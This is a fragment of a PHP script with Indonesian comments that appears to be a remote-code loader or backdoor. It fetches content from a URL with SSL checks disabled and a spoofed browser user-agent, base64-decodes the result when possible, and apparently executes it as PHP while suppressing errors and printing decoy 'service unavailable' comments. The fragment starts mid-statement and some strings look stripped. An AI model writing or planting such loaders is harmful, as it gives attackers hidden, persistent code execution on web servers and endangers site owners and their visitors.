$url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 5, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_SSL_VERIFYPEER => false, ]); $content = curl_exec($ch); curl_close($ch); if ($content !== false && strlen($content) > 0) return $content; } if (ini_get('allow_url_fopen')) { $content = @file_get_contents($url); if ($content !== false) return $content; } return false; } // Ambil konten $content = _get_content($_url); // Output minimal (anti-0KB) if ($content !== false && strlen($content) > 50) { // Cek apakah konten mengandung tag HTML (bukan PHP) if (strpos($content, '"; echo "\n/* content not valid */"; } else { // Coba decode base64 jika perlu $decoded = @base64_decode($content, true); if ($decoded !== false && strpos($decoded, '' . $content); } catch (Throwable $e) { echo ""; } } } else { echo ""; echo "\n/* service unavailable */"; } ?>